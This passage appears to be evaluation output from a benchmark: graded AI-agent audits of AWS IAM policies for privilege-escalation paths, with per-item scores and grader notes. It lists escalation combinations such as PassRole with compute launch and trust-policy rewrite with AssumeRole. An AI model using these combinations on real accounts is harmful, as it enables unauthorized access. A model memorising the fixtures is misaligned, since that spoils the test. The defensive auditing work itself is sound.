a service wildcard. Clear.\n- **W3:** No `NotAction`. Clear.\n- **W4:** No mutating actions present at all, let alone on `Resource '*'`. Clear.\n- **W5:** `s3:GetObject` and `s3:ListBucket` are read actions, but they are pinned to `arn:aws:s3:::deploy-config-eu` and `arn:aws:s3:::deploy-config-eu/*` \u2014 not `Resource '*'`. W5 requires a broad `Resource '*'` to fire. **Not applicable here.** The read grant is correctly scoped and is not a finding.\n\n---\n\n## Step 4: Trust-Policy Exposure and the AssumeRole Path (X1 + Broken-Trust Check)\n\nThis is the central question the context raises: `deploy-orchestrator` holds `sts:AssumeRole` on `arn:aws:iam::488213749302:role/org-admin-break-glass`. The target is described as admin-sounding. Does `deploy-orchestrator` actually hold the ability to assume it?\n\n**Reading the supplied trust policy of `org-admin-break-glass`:**\n\n```\nPrincipal:\n AWS:\n - arn:aws:iam::488213749302:role/security-break-glass-operator\n - arn:aws:iam::488213749302:role/incident-commander\nCondition:\n StringEquals:\n sts:ExternalId: \"breakglass-2026\"\n```\n\n`deploy-orchestrator` is **not listed as a trusted principal**. The trust policy names exactly two roles \u2014 `security-break-glass-operator` and `incident-commander` \u2014 and requires `sts:ExternalId = \"breakglass-2026\"`. `deploy-orchestrator` cannot satisfy the principal check regardless of whether it knows the ExternalId.\n\n**Both halves of the lock are closed:**\n1. `deploy-orchestrator` does not appear in `Principal` \u2014 the AssumeRole call will be rejected by the target account before the condition is even evaluated.\n2. Even if the principal check were relaxed, `deploy-orchestrator` would need to supply the correct ExternalId, which is a shared secret it is not shown to hold.\n\n**X1 check:** The trust policy uses a narrow, enumerated `Principal` (two specific role ARNs) and adds an ExternalId condition. This is the textbook break-glass pattern. X1 does not fire \u2014 X1 requires a wildcard `Principal` with no narrowing condition, which is the opposite of what is here.\n\n**Conclusion on the AssumeRole path:** This is the \"broken trust\" neutralisation case. `deploy-orchestrator` has the *permission* to attempt an assume, but the target's trust policy refuses the call. The escalation path is **inert**. Per the methodology (fixture `03-assumerole-broken-trust`), this is a clean finding, not a critical.\n\n---\n\n## Step 5: Deceptive-Clean Verdict\n\nThe surface read of this policy is alarming: `sts:AssumeRole` on a role named `org-admin-break-glass` reads as a one-hop path to administrator. The audit's job is to confirm or neutralise that reading against the effective permissions.\n\n**Neutralisation confirmed.** The target role's trust policy is the controlling document, and it does not trust `deploy-orchestrator`. The assume call cannot succeed. There is no `iam:UpdateAssumeRolePolicy` in the effective permission set, so `deploy-orchestrator` cannot rewrite the trust to add itself. The path has no working legs.\n\nThe S3 read is scoped to a single named bucket. It is not a wildcard read and does not reach W5.\n\n---\n\n## Findings\n\n### CLEAN \u2014 No real escalation\n\n| Finding | Code | Severity | Status |\n|---|---|---|---|\n| `sts:AssumeRole` on `org-admin-break-glass` | E5-adjacent | \u2014 | **Neutralised** |\n| S3 read on `deploy-config-eu` | W5-candidate | \u2014 | **Not applicable** |\n\n**No findings of any severity.**\n\n---\n\n### Neutralisation record (required for audit trail)\n\n**`sts:AssumeRole` on `org-admin-break-glass`:** Appears critical at a glance. Neutralised because the target role's trust policy (`AssumeRolePolicyDocument`) lists only `security-break-glass-operator` and `incident-commander` as trusted principals, and conditions the call on `sts:ExternalId = \"breakglass-2026\"`. `deploy-orchestrator` fails the principal check; the ExternalId condition is not reached. No `iam:UpdateAssumeRolePolicy` is present in the effective permission set, so `deploy-orchestrator` cannot self-insert into the trust. Both legs of the escalation are severed.\n\n**S3 read on `deploy-config-eu`:** `s3:GetObject` and `s3:ListBucket` are scoped to a single named bucket. W5 requires `Resource '*'`. The resource pin makes this a correctly-scoped read grant, not a data-exfiltration reach finding.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThese questions are answered by documents not supplied, and the cleanliness of this policy does not close them:\n\n1. **Other attached policies.** This audit covers one permissions policy (2 statements). If `deploy-orchestrator` has additional managed or inline policies attached, the effective permission union is larger than audited here. A PassRole or IAM-mutation grant in another attached policy would immediately change the verdict.\n\n2. **Permissions boundary.** No boundary was supplied. If a boundary exists it can only further restrict; it cannot grant. The absence of a boundary does not create additional risk given the narrow effective set, but it means this principal's ceiling is confirmed only by the policy itself, not also by a boundary.\n\n3. **Org SCPs.** A Service Control Policy in the organization could Deny `sts:AssumeRole` in this account, making even the broken-trust path doubly dead. Conversely, no SCP inspection was possible here \u2014 there is no SCP that could *grant* something this policy does not allow.\n\n4. **Privileges of `org-admin-break-glass`.** The audit cannot confirm whether this role is actually administrative. It is named suggestively, and its trust pattern (break-glass, ExternalId-gated, two named operators) is consistent with an admin role. If `deploy-orchestrator` were ever added to the trust policy (e.g., by a separate operator with `iam:UpdateAssumeRolePolicy`), the blast radius would be whatever `org-admin-break-glass` can do. That is a configuration-management concern, not a current finding.\n\n5. **The `breakglass-2026` ExternalId lifecycle.** The ExternalId is a shared secret. If it were exposed or rotated incorrectly, the condition's strength degrades \u2014 but that is an operational secret-management question, not answerable from the policy document.\n\n---\n\n## Summary\n\n`role/deploy-orchestrator` holds exactly three effective permissions: one targeted `sts:AssumeRole` and two S3 read actions on a single bucket. The `sts:AssumeRole` on `org-admin-break-glass` is the only plausible escalation path, and it is fully neutralised by the target role's trust policy, which does not list `deploy-orchestrator` as a trusted principal and further gates admission on an ExternalId. No `iam:UpdateAssumeRolePolicy` is available to rewrite the trust. The S3 read is correctly scoped and generates no finding. **This policy, as supplied, supports no privilege-escalation path.**",
"agent_chars": 8584,
"agent_s": 49.0,
"elapsed_s": 56.4
},
{
"fixture": "03-assumerole-broken-trust",
"condition": "treatment",
"trial": 2,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses both statements, identifies all actions and resources without missing or misexpanding anything.",
"Correctly identifies that there are no real findings \u2014 the broken trust path is inert, matching ground truth of empty findings.",
"Does not assert any live privilege escalation; correctly classifies the AssumeRole grant as inert due to the broken trust, not as a real finding.",
"Explicitly evaluates the union of the permissions policy and the target role's trust policy, recognising that the missing back-trust and absent iam:UpdateAssumeRolePolicy together seal the path.",
"Does not headline any neutralised grant as critical; labels the dead AssumeRole grant as informational/hygiene only, with no severity assigned.",
"Names multiple things it cannot determine: other attached policies, permissions boundary, org SCPs, and the target role's actual privileges \u2014 all matching ground-truth joins.",
"Top recommendation matches ground truth: remove the unused/dead AssumeDeployTargetRole statement as a hygiene measure, with no urgent fix required."
],
"agent_output": "# IAM Privilege-Escalation Audit: `role/deploy-orchestrator`\n\n**Principal:** `role/deploy-orchestrator`\n**Documents supplied:** 1 permissions policy (2 statements), 1 trust policy (1 statement)\n**Audit scope:** Effective permissions across all supplied documents; trust-policy exposure; cross-statement escalation combos E1\u2013E6; wildcard grants W1\u2013W5.\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\n### Allow statements\n\n| Sid | Action(s) | Resource |\n|---|---|---|\n| `AssumeDeployTargetRole` | `sts:AssumeRole` | `arn:aws:iam::488213749302:role/org-admin-break-glass` |\n| `ReadDeployConfig` | `s3:GetObject`, `s3:ListBucket` | `arn:aws:s3:::deploy-config-eu`, `arn:aws:s3:::deploy-config-eu/*` |\n\n### Deny statements\n\nNone present in any supplied policy.\n\n### Resolved effective set\n\n```\nsts:AssumeRole \u2192 arn:aws:iam::488213749302:role/org-admin-break-glass (only)\ns3:GetObject \u2192 arn:aws:s3:::deploy-config-eu/*\ns3:ListBucket \u2192 arn:aws:s3:::deploy-config-eu\n```\n\nNo wildcards on `Action`. No `NotAction`. No `Resource \"*\"` grants. No Deny statements. The set is small and fully enumerable.\n\n---\n\n## Step 2 \u2014 Check Cross-Statement Escalation Combos (E1\u2013E6)\n\n**E1 (`iam:PassRole` + compute-launch):** `iam:PassRole` is not present in the effective set. **Not triggered.**\n\n**E2 (`iam:CreatePolicyVersion` / `SetDefaultPolicyVersion`):** Not present. **Not triggered.**\n\n**E3 (`lambda:UpdateFunctionCode`):** Not present. **Not triggered.**\n\n**E4 (policy-attach / put onto a principal):** No IAM mutation actions present. **Not triggered.**\n\n**E5 (`iam:UpdateAssumeRolePolicy` + `sts:AssumeRole`):** `sts:AssumeRole` is present and scoped to `org-admin-break-glass`. However, `iam:UpdateAssumeRolePolicy` is **not present** \u2014 this principal cannot rewrite the target's trust policy. The rewrite half of E5 is missing. **E5 not triggered.**\n\n**E6 (credential-minting for another identity):** `iam:CreateAccessKey`, `CreateLoginProfile`, `AddUserToGroup`, etc. are not present. **Not triggered.**\n\n---\n\n## Step 3 \u2014 Classify Wildcard Grants (W1\u2013W5)\n\n**W1 (`Action '*'` on `Resource '*'`):** Not present. **Not triggered.**\n\n**W2 (service-level wildcard on a sensitive service):** No service-level wildcards present. **Not triggered.**\n\n**W3 (`Allow` + `NotAction`):** Not present. **Not triggered.**\n\n**W4 (mutating actions on `Resource '*'`):** No mutating IAM, STS, or other privileged actions on `Resource \"*\"`. `s3:GetObject` and `s3:ListBucket` are scoped to a single named bucket. **Not triggered.**\n\n**W5 (broad read on `Resource '*'`):** `s3:GetObject` and `s3:ListBucket` are **not** on `Resource \"*\"` \u2014 they are pinned to `arn:aws:s3:::deploy-config-eu` and `arn:aws:s3:::deploy-config-eu/*`. **Not triggered as W5.** (See finding note below on the read scope.)\n\n---\n\n## Step 4 \u2014 Check Trust-Policy Exposure (X1)\n\nThe trust policy (`AssumeRolePolicyDocument`) for `role/deploy-orchestrator` permits assumption by:\n\n```\narn:aws:iam::488213749302:role/security-break-glass-operator\narn:aws:iam::488213749302:role/incident-commander\n```\n\nBoth are **named ARN principals** (not `Principal: \"*\"`), both are in the same account (`488213749302`), and the trust policy carries a narrowing `Condition`:\n\n```json\n\"sts:ExternalId\": \"breakglass-2026\"\n```\n\nThis is a well-formed, correctly constrained trust policy. The principal enumeration is explicit, not wildcard. **X1 not triggered.**\n\n---\n\n## Step 5 \u2014 Evaluate the `sts:AssumeRole` Grant Against the Target's Trust Policy\n\nThis is the critical question the context poses. The methodology requires checking whether the `sts:AssumeRole` grant forms a complete path \u2014 i.e., whether the **target role trusts this principal back**.\n\nThe supplied trust policy for `role/org-admin-break-glass` names exactly two trusted principals:\n\n```\narn:aws:iam::488213749302:role/security-break-glass-operator\narn:aws:iam::488213749302:role/incident-commander\n```\n\n`role/deploy-orchestrator` is **not listed** in either principal entry. The trust policy also requires `sts:ExternalId: \"breakglass-2026\"` \u2014 a credential this principal is not shown to hold or have been granted.\n\n**Verdict on the `sts:AssumeRole` grant:** This is the fixture-03 \"broken trust\" pattern. The permissions policy grants `sts:AssumeRole` on `org-admin-break-glass`, but the target role's trust policy does not trust `deploy-orchestrator` back. AWS will reject the `AssumeRole` call at the target's trust evaluation step. The escalation path **is inert as of the supplied documents.**\n\nThere is no `iam:UpdateAssumeRolePolicy` in the effective set to rewrite that trust, so the principal cannot self-enrol. The path is sealed at both ends without needing a Deny.\n\n---\n\n## Step 6 \u2014 Findings\n\n### \u2705 No Real Escalation Found\n\nThe apparent escalation \u2014 `sts:AssumeRole` on an admin-sounding role \u2014 is **neutralised by a broken trust**. The target role does not trust `deploy-orchestrator`, and this principal cannot rewrite that trust. No Deny statement was required; the trust gap alone closes the path.\n\n---\n\n### Informational Notes (not findings, but worth recording)\n\n**Note 1 \u2014 Dead `sts:AssumeRole` grant (informational, not a severity finding)**\n\nThe `AssumeDeployTargetRole` statement grants a permission that, under the current trust configuration, can never succeed. This creates a misleading appearance of privilege without any actual capability. As a hygiene matter: if `deploy-orchestrator` is never intended to assume `org-admin-break-glass`, the `AssumeDeployTargetRole` statement should be removed. Dead grants add surface area to future misconfigurations \u2014 if the target role's trust policy is ever updated to include `deploy-orchestrator` (perhaps accidentally during an incident), the escalation path becomes live with no further change to this policy.\n\n**Fix:** Remove `Sid: AssumeDeployTargetRole` from the permissions policy unless there is a planned operational path in which `deploy-orchestrator` is explicitly added to `org-admin-break-glass`'s trust policy under a controlled change process, with the ExternalId issued intentionally to this role.\n\n**Note 2 \u2014 `s3:GetObject` on `deploy-config-eu` (informational)**\n\n`s3:GetObject` is correctly scoped to a single named bucket. There is no W5 finding because the resource is not `*`. Whether the contents of `deploy-config-eu` warrant access by this principal (e.g. if it contains plaintext secrets, cross-account credentials, or deployment tokens) is a data-classification question that this audit cannot answer from the policy alone.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following joins were not available and would change the conclusions if they returned unexpected results:\n\n1. **Other attached policies for `role/deploy-orchestrator`.** This audit evaluated one permissions policy containing two statements. If additional managed or inline policies are attached to this role, the effective permission set is larger than what was reviewed. A grant of `iam:UpdateAssumeRolePolicy` or `iam:PassRole` in a second policy would convert a clean verdict to a critical E5 or E1 finding respectively. **This audit cannot confirm the principal is fully clean without the complete attachment list.**\n\n2. **Permissions boundary for `role/deploy-orchestrator`.** No boundary was supplied. The effective set from the supplied documents is narrow enough that a missing boundary does not change the verdict here \u2014 but the boundary is not confirmed absent, and a future over-broad policy attachment would not be capped without one.\n\n3. **Org SCPs.** A Service Control Policy at the OU or account level could further restrict `sts:AssumeRole` or the S3 reads. This audit cannot see them. Their effect would only tighten what is already a constrained set.\n\n4. **The privileges of `org-admin-break-glass`.** The audit notes the role name is admin-sounding. The actual permissions attached to it were not supplied. If that role is *not* administrative (e.g., it is a read-only break-glass for audit, not an admin), the trust gap's severity as a hygiene issue would be reduced further. Conversely, confirming it is `AdministratorAccess` is the confirmation that the dead grant is adjacent to the most sensitive path in the account.\n\n5. **The trust policy of `org-admin-break-glass` under future modification.** This audit is a point-in-time snapshot. The dead grant becomes live the moment that trust policy adds `deploy-orchestrator`. Periodic re-evaluation or a policy guardrail preventing trust-policy modifications on break-glass roles is recommended.\n\n---\n\n## Summary\n\n| Rule | Status | Severity | Reason |\n|---|---|---|---|\n| E1 | \u2705 Clean | \u2014 | `iam:PassRole` absent |\n| E2 | \u2705 Clean | \u2014 | Policy-rewrite actions absent |\n| E3 | \u2705 Clean | \u2014 | `lambda:UpdateFunctionCode` absent |\n| E4 | \u2705 Clean | \u2014 | Policy-attach actions absent |\n| E5 | \u2705 Clean | \u2014 | `sts:AssumeRole` present but trust is broken; `iam:UpdateAssumeRolePolicy` absent |\n| E6 | \u2705 Clean | \u2014 | Credential-minting actions absent |\n| W1 | \u2705 Clean | \u2014 | No `Action: *` |\n| W2 | \u2705 Clean | \u2014 | No service-level wildcards |\n| W3 | \u2705 Clean | \u2014 | No `NotAction` |\n| W4 | \u2705 Clean | \u2014 | No mutating actions on `Resource: *` |\n| W5 | \u2705 Clean | \u2014 | Read actions scoped to single named bucket |\n| X1 | \u2705 Clean | \u2014 | Trust policy uses named ARN principals with ExternalId condition |\n\n**Overall verdict: No exploitable escalation path in the supplied documents.** The `sts:AssumeRole` grant on `org-admin-break-glass` is inert under the current trust configuration. The primary recommendation is a hygiene removal of the dead grant to prevent it from becoming live through a future trust-policy change on the target role.",
"agent_chars": 9682,
"agent_s": 52.4,
"elapsed_s": 59.6
},
{
"fixture": "05-iam-mutation-boundary-capped",
"condition": "treatment",
"trial": 0,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Agent correctly parses both policies, identifies all seven mutating actions in policy-1 and the blanket Deny in policy-2, and resolves the effective permission set accurately.",
"Agent correctly identifies the ground-truth finding: the mutation kit is fully neutralised by the Deny, leaving only read-only IAM inventory \u2014 matching the clean verdict.",
"Agent does not assert any live privilege escalation; the W5 flag is explicitly marked Low and not framed as a live escalation path.",
"Agent explicitly applies Deny-over-Allow cross-statement reasoning, recognising that the Deny on Resource '*' kills all seven Allows regardless of the specific ARN scope in policy-1.",
"Agent does not headline any neutralised grant as critical; the mutation kit is correctly characterised as dead weight and the overall verdict is no real escalation.",
"Agent names multiple boundary gaps: other attached policies, trust policy not supplied, org SCPs, and the detachment risk (policy-2 as attached policy vs. true permissions boundary).",
"Agent's top recommendation correctly states no security fix is needed for the neutralised mutation kit, and optionally suggests removing the inert policy-1 Allow \u2014 matching the ground-truth fix in substance."
],
"agent_output": "# IAM Privilege-Escalation Audit\n**Principal:** `role/identity-platform-operator`\n**Input:** 2 attached policies, 3 statements total (1 Allow mutation kit in policy-1; 1 Deny mutation kit + 1 Allow read-only in policy-2)\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nBefore any judgment, union both policies and apply Deny-over-Allow.\n\n**Allows collected (raw, before Deny application):**\n\n| Action | Source | Resource |\n|---|---|---|\n| `iam:PutRolePolicy` | policy-1 | `arn:aws:iam::488213749302:role/break-glass-admin`, `arn:aws:iam::488213749302:policy/break-glass-admin-policy` |\n| `iam:AttachRolePolicy` | policy-1 | same two ARNs |\n| `iam:CreatePolicyVersion` | policy-1 | same two ARNs |\n| `iam:SetDefaultPolicyVersion` | policy-1 | same two ARNs |\n| `iam:UpdateAssumeRolePolicy` | policy-1 | same two ARNs |\n| `iam:PassRole` | policy-1 | same two ARNs |\n| `iam:CreateAccessKey` | policy-1 | same two ARNs |\n| `iam:GetRole` | policy-2 | `*` |\n| `iam:GetPolicy` | policy-2 | `*` |\n| `iam:GetPolicyVersion` | policy-2 | `*` |\n| `iam:ListRolePolicies` | policy-2 | `*` |\n| `iam:ListAttachedRolePolicies` | policy-2 | `*` |\n\n**Denies collected (policy-2, `Resource \"*\"`):**\n\n`iam:PutRolePolicy`, `iam:PutUserPolicy`, `iam:PutGroupPolicy`, `iam:AttachRolePolicy`, `iam:AttachUserPolicy`, `iam:AttachGroupPolicy`, `iam:CreatePolicyVersion`, `iam:SetDefaultPolicyVersion`, `iam:UpdateAssumeRolePolicy`, `iam:PassRole`, `iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:UpdateLoginProfile`, `iam:AddUserToGroup`, `sts:AssumeRole`\n\n**Applying Deny-over-Allow (Deny on `Resource \"*\"` kills the action regardless of the Allow's resource scope):**\n\nEvery mutating action Allowed in policy-1 appears verbatim in the policy-2 Deny block on `Resource \"*\"`. Because a Deny on `Resource \"*\"` is a blanket constraint \u2014 it matches any resource, including the two specific ARNs the Allow names \u2014 every one of those seven Allows is cancelled. Deny wins unconditionally; there is no resource-scope exception to this rule.\n\n**Effective permission set (post-resolution):**\n\n| Action | Effective | Reason |\n|---|---|---|\n| `iam:PutRolePolicy` | **DENIED** | Blanket Deny in policy-2 |\n| `iam:AttachRolePolicy` | **DENIED** | Blanket Deny in policy-2 |\n| `iam:CreatePolicyVersion` | **DENIED** | Blanket Deny in policy-2 |\n| `iam:SetDefaultPolicyVersion` | **DENIED** | Blanket Deny in policy-2 |\n| `iam:UpdateAssumeRolePolicy` | **DENIED** | Blanket Deny in policy-2 |\n| `iam:PassRole` | **DENIED** | Blanket Deny in policy-2 |\n| `iam:CreateAccessKey` | **DENIED** | Blanket Deny in policy-2 |\n| `iam:GetRole` | **ALLOWED** | Allow in policy-2, no Deny |\n| `iam:GetPolicy` | **ALLOWED** | Allow in policy-2, no Deny |\n| `iam:GetPolicyVersion` | **ALLOWED** | Allow in policy-2, no Deny |\n| `iam:ListRolePolicies` | **ALLOWED** | Allow in policy-2, no Deny |\n| `iam:ListAttachedRolePolicies` | **ALLOWED** | Allow in policy-2, no Deny |\n\nThe effective permission set is **read-only IAM inventory**. No mutating or credential-bearing action survives.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\nChecked against the resolved set, not the raw statements.\n\n### E1 \u2014 `iam:PassRole` + compute-launch action\n`iam:PassRole` is present in policy-1 but is **blanket-denied** in policy-2 on `Resource \"*\"`. It does not survive into the effective set. No compute-launch action (`ec2:RunInstances`, `lambda:CreateFunction`, etc.) appears anywhere. **E1: NOT PRESENT** \u2014 PassRole half is dead.\n\n### E2 \u2014 Policy rewrite in place (`iam:CreatePolicyVersion` / `SetDefaultPolicyVersion`)\nBoth actions are in policy-1's Allow but are **blanket-denied** in policy-2. Neither survives. **E2: NOT PRESENT.**\n\n### E3 \u2014 Lambda function-code hijack (`lambda:UpdateFunctionCode`)\nNot granted anywhere. **E3: NOT PRESENT.**\n\n### E4 \u2014 Attach admin policy to a principal (`iam:AttachRolePolicy`, `iam:PutRolePolicy`)\nBoth actions are in policy-1's Allow but are **blanket-denied** in policy-2. Neither survives. **E4: NOT PRESENT.**\n\n### E5 \u2014 Trust-policy rewrite + assume (`iam:UpdateAssumeRolePolicy` + `sts:AssumeRole`)\n`iam:UpdateAssumeRolePolicy` is blanket-denied. `sts:AssumeRole` is also explicitly blanket-denied in policy-2. **Both halves dead. E5: NOT PRESENT.**\n\n### E6 \u2014 Credential minting for another identity (`iam:CreateAccessKey`, etc.)\n`iam:CreateAccessKey` is in policy-1's Allow but is **blanket-denied** in policy-2. `iam:CreateLoginProfile`, `iam:UpdateLoginProfile`, `iam:AddUserToGroup` are not Allowed anywhere (and are also Denied for defence-in-depth). **E6: NOT PRESENT.**\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n### W1 \u2014 `Action '*'` on `Resource '*'`\nNot present. **W1: NOT PRESENT.**\n\n### W3 \u2014 `Allow` + `NotAction`\nNot present. **W3: NOT PRESENT.**\n\n### W2 \u2014 Service-level wildcard on a sensitive service\nNo `svc:*` wildcards anywhere. **W2: NOT PRESENT.**\n\n### W4 \u2014 Mutating actions on `Resource '*'`\nThe read-only Allow in policy-2 (`iam:Get*`, `iam:List*`) is on `Resource \"*\"`. These are read-only, non-mutating actions; W4 applies to *mutating* actions. These do not qualify. **W4: NOT PRESENT.**\n\n### W5 \u2014 Broad read on `Resource '*'`\nThe five surviving read actions (`iam:GetRole`, `iam:GetPolicy`, `iam:GetPolicyVersion`, `iam:ListRolePolicies`, `iam:ListAttachedRolePolicies`) are on `Resource \"*\"`. These are IAM inventory reads. On their own they carry negligible exfiltration risk (they read policy metadata, not secrets or data-plane content), and the scope is deliberately broad for an operator inventory role. This is a flag, not a confirmed exposure. **W5: marginal \u2014 see finding below.**\n\n---\n\n## Step 4 \u2014 Trust-Policy Exposure (X1)\n\nNo trust policy was supplied. **X1 cannot be evaluated.** This is an explicit boundary gap (see Section 6).\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Verdict\n\nThe apparent escalation is real in the raw statement read: policy-1 contains a complete privilege-escalation kit \u2014 every action needed to rewrite a role's inline policy, attach a managed policy, rotate the trust policy, pass the role to compute, rewrite a managed policy version, and mint credentials \u2014 all pointed at a named break-glass admin role and policy. On a per-statement read this looks critical.\n\nThe effective permissions tell a different story. The policy-2 Deny covers every one of those seven actions on `Resource \"*\"`. In IAM, a Deny on a wildcard resource matches any resource, including the two specific ARNs the Allow names. The Allow in policy-1 is completely eclipsed. There is no residue. The operator's effective capability is five read-only IAM API calls.\n\n**This is the deceptive-clean pattern: a full mutation kit capped by a blanket Deny. The apparent escalation is neutralised. No finding is warranted on the mutation kit itself.**\n\n---\n\n## Findings\n\n### \u2705 NO REAL ESCALATION \u2014 Policy Neutralised\n\nThe apparent escalation across E1, E2, E4, E5, and E6 is neutralised by the explicit `Deny` in `policy-2 / BoundaryDenyAllIdentityMutationEverywhere` on `Resource \"*\"`. Every mutating action in policy-1's Allow is killed. The effective set is read-only.\n\n---\n\n### FINDING W5 \u2014 Low\n\n**Rule:** W5 \u2014 broad read on `Resource \"*\"`\n**Statement:** `policy-2 / ReadOnlyIamInventory`\n**Grounded in:** `iam:GetRole`, `iam:GetPolicy`, `iam:GetPolicyVersion`, `iam:ListRolePolicies`, `iam:ListAttachedRolePolicies` on `Resource \"*\"`\n\n**What it means:** The operator can enumerate every role, every managed policy, and every policy version in the account. This is not a privilege-escalation path \u2014 none of these actions mutate state or mint credentials. However, a compromised operator identity can use these calls to map the full IAM landscape of the account: locate over-privileged roles, identify the current version of any managed policy, and understand exactly which policies are attached to which principals. This is reconnaissance capability that accelerates exploitation if the principal is compromised and the attacker has any *other* path to mutation (e.g., via a different principal, an org SCP gap, or a misconfigured trust policy not visible here).\n\n**Severity:** Low \u2014 data-reach whose impact depends on whether IAM metadata is considered sensitive in this environment.\n\n**Fix:** Scope `ReadOnlyIamInventory` to the break-glass resources the operator legitimately needs to inspect:\n```json\n{\n \"Sid\": \"ReadOnlyIamInventory\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\",\n \"iam:GetPolicy\",\n \"iam:GetPolicyVersion\",\n \"iam:ListRolePolicies\",\n \"iam:ListAttachedRolePolicies\"\n ],\n \"Resource\": [\n \"arn:aws:iam::488213749302:role/break-glass-admin\",\n \"arn:aws:iam::488213749302:policy/break-glass-admin-policy\"\n ]\n}\n```\nIf cross-role inspection is genuinely needed for the operator workflow, document the justification and accept the risk explicitly.\n\n---\n\n### OBSERVATION \u2014 Policy-1 is Dead Weight\n\nThis is not a severity-ranked finding but a structural note. Every statement in policy-1 is neutralised by policy-2. The Allow block grants nothing effective. The practical consequence is that policy-1 is misleading: a future reviewer who reads it without also reading policy-2 will see a critical escalation kit and may act on it (raise a false alarm, or worse, attempt to \"fix\" it by removing policy-2 under the belief the Allow is the real constraint). Dead weight grants are a maintenance and audit liability.\n\n**Recommendation:** Either remove policy-1 entirely (if the break-glass operator role genuinely has no mutation capability by design), or re-examine the architecture. If there is a workflow that requires *temporary* mutation capability (e.g., break-glass activation), consider a separate mechanism \u2014 a time-limited role assumption or a dedicated break-glass Lambda with a tightly scoped execution role \u2014 rather than a permanently-attached Allow that is permanently dead.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following joins were not supplied and cannot be resolved from the policy documents alone:\n\n1. **Other attached policies.** Only two policies were provided. If additional managed or inline policies are attached to `role/identity-platform-operator`, they contribute to the effective permission union and could grant actions the Deny in policy-2 does not cover (e.g., `lambda:UpdateFunctionCode` is not in the Deny block). This audit's clean verdict is conditional on these being the complete set.\n\n2. **Trust policy (`AssumeRolePolicyDocument`).** Not supplied. It is unknown who or what can assume this role. A wildcard principal with no narrowing condition (X1) would be a high-severity finding. A cross-account trust with no ExternalId could also be material. **This audit cannot clear the trust exposure.** The trust policy must be reviewed separately.\n\n3. **Permissions boundary.** Not supplied as a separate document. Policy-2 functions architecturally *like* a permissions boundary (it is a blanket Deny), but it is attached as a permissions policy, not set as an IAM permissions boundary via `PutRolePermissionsBoundary`. A true permissions boundary would survive even if policy-2 were detached; an attached Deny policy can be removed by anyone with `iam:DetachRolePolicy` on this role. Whether a true boundary exists that independently enforces these Denys is unknown from the documents supplied.\n\n4. **Org SCPs.** A Service Control Policy in the organization could Deny the read-only IAM actions (rendering the W5 flag moot) or could Allow additional actions not visible in these documents. The account's SCP posture is invisible here.\n\n5. **Privileges of the targeted roles/policies.** The break-glass-admin role and break-glass-admin-policy ARNs are named explicitly. If the mutation kit in policy-1 were ever effective (e.g., if policy-2 were detached), the severity of the escalation would depend entirely on the privileges those resources hold. This audit assumes their names are accurate signals of high privilege; that assumption is not proven from these documents.\n\n6. **Detachment risk (structural).** As noted above, policy-2 is an attached permissions policy, not a true IAM permissions boundary. Any principal with `iam:DetachRolePolicy` on `role/identity-platform-operator` could remove policy-2, instantly activating the full mutation kit in policy-1. This is not an escalation path *for this principal*, but it is an escalation path *for any principal that can modify this role's policy attachments*, and it warrants a review of who holds that permission.",
"agent_chars": 12504,
"agent_s": 68.2,
"elapsed_s": 77.3
},
{
"fixture": "05-iam-mutation-boundary-capped",
"condition": "treatment",
"trial": 1,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Agent correctly parses all statements in both policies, including the full list of denied and allowed actions, and maps each to its resource scope.",
"Agent correctly identifies the deceptive-clean nature: the mutation kit in policy-1 is fully neutralised by the explicit Deny in policy-2, leaving only read-only IAM inventory access \u2014 matching the ground truth of no real escalation.",
"Agent does not raise any false positive escalation finding; the W5 low finding is for read-only wildcard scope, which is clearly not flagged as a live escalation path.",
"Agent explicitly resolves the union of all statements and correctly applies the Deny-wins-over-Allow rule across resource scopes, demonstrating sound cross-statement reasoning.",
"Agent correctly assigns no critical/high/medium severity and headlines the fixture as clean with only a low informational note about read-only wildcard scope.",
"Agent names multiple things it cannot determine: other attached policies, permissions boundary, org SCPs, the break-glass role's own privileges, and the trust policy \u2014 all matching ground-truth boundary categories.",
"Agent's top recommendation correctly states no security fix is needed (the Deny boundary already neutralises the kit) and optionally suggests scoping the read-only Allow or removing the inert mutation Allow, matching the ground-truth fix in substance."
],
"agent_output": "# IAM Privilege-Escalation Audit\n**Principal:** `role/identity-platform-operator`\n**Input:** 2 attached policies, 3 statements total (1 Allow in policy-1; 1 Deny + 1 Allow in policy-2)\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nBefore any judgment, union all statements and apply Deny. Deny on `Resource \"*\"` wins unconditionally.\n\n**policy-1 Allows (scoped to two ARNs):**\n\n| Action | Resource |\n|---|---|\n| `iam:PutRolePolicy` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n| `iam:AttachRolePolicy` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n| `iam:CreatePolicyVersion` | `arn:aws:iam::488213749302:policy/break-glass-admin-policy` |\n| `iam:SetDefaultPolicyVersion` | `arn:aws:iam::488213749302:policy/break-glass-admin-policy` |\n| `iam:UpdateAssumeRolePolicy` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n| `iam:PassRole` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n| `iam:CreateAccessKey` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n\n**policy-2 Denies (on `Resource \"*\"`):**\n\n`iam:PutRolePolicy`, `iam:PutUserPolicy`, `iam:PutGroupPolicy`, `iam:AttachRolePolicy`, `iam:AttachUserPolicy`, `iam:AttachGroupPolicy`, `iam:CreatePolicyVersion`, `iam:SetDefaultPolicyVersion`, `iam:UpdateAssumeRolePolicy`, `iam:PassRole`, `iam:CreateAccessKey`, `iam:CreateLoginProfile`, 